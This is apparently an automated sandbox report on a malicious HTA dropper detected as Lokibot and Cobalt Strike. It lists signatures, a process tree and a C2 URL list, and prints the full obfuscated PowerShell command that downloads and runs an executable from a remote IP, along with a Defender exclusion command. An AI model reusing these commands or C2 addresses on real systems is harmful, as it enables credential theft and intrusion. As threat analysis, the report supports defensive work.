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Windows
Analysis Report
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Overview
General Information
Detection
Cobalt Strike, Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Lokibot
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Drops PE files with benign system names
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: System File Execution Location Anomaly
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Yara detected aPLib compressed binary
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 6360 cmdline:
mshta.exe "C:\Users\ user\Deskt op\goodtos eeuthatgre atthingswi thentireth ingsgreatf or.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 6668 cmdline:
"C:\Window s\SYSTEm32 \WINDOwSPO WershELL\V 1.0\poWERS hell.eXe" "poWershEL l.ExE -eX bypAss -nOP -W 1 -C deViCEcr EDEntiALdE plOYmeNt ; InvOKe- EXpreSSion ($(iNvoke- EXpreSSIoN ('[sYStem. TExT.eNcoD iNg]'+[CHa r]0x3A+[ch Ar]58+'Utf 8.gETsTriN g([systEm. coNvErT]'+ [ChAR]0X3a +[CHAr]58+ 'fRoMbaSE6 4sTRinG('+ [ChaR]0x22 +'JGozckgg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICA9ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgYU RELXR5UEUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAtTUVtYm VyZGVGSW5p VElPTiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC dbRGxsSW1w b3J0KCJ1Uk xNb04uRGxs IiwgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBDaG FyU2V0ID0g Q2hhclNldC 5Vbmljb2Rl KV1wdWJsaW Mgc3RhdGlj IGV4dGVybi BJbnRQdHIg VVJMRG93bm xvYWRUb0Zp bGUoSW50UH RyICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgTE9E TWxJWUZIRi xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBlTyxzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBM cmQsdWludC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGtDTXYs SW50UHRyIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC Agc0t3aFNV Z0ZkKTsnIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW5hTUUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAiUEtKbW RxIiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1O YW1lU3BhY2 UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBMWVBo cGZaVmggIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AtUGFzc1Ro cnU7ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgJG ozckg6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly82Ni42 My4xODcuMj MxLzMzL2Nh c3BvbC5leG UiLCIkRU52 OkFQUERBVE Fcd2luaW5p dC5leGUiLD AsMCk7U1RB UlQtU2xFRV AoMyk7aUV4 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIiRFTn Y6QVBQREFU QVx3aW5pbm l0LmV4ZSI= '+[CHAR]0x 22+'))'))) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 6696 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7068 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX bypAss -nOP -W 1 -C deViCE crEDEntiAL dEplOYmeNt MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 3604 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\sg2bcrbf \sg2bcrbf. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 5040 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SBF21.tmp" "c:\Users \user\AppD ata\Local\ Temp\sg2bc rbf\CSC9DC 7DEFBB3DB4 CF88431EEB 79FD9B6EB. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wininit.exe (PID: 4416 cmdline:
"C:\Users\ user\AppDa ta\Roaming \wininit.e xe" MD5: 66B03D1AFF27D81E62B53FC108806211) - powershell.exe (PID: 4364 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" Add-MpPref erence -Ex clusionPat h "C:\User s\user\App Data\Roami ng\wininit .exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2504 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - conhost.exe (PID: 3196 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WmiPrvSE.exe (PID: 3488 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - wininit.exe (PID: 2668 cmdline:
"C:\Users\ user\AppDa ta\Roaming \wininit.e xe" MD5: 66B03D1AFF27D81E62B53FC108806211)
- svchost.exe (PID: 7108 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/maxzi/five/fre.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 30 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Loki_1 | Loki Payload | kevoreilly |
| |
Lokibot | detect Lokibot in memory | JPCERT/CC Incident Response Group |
| |
Click to see the 37 entries |
System Summary |
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Source: | Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Michael Haag: |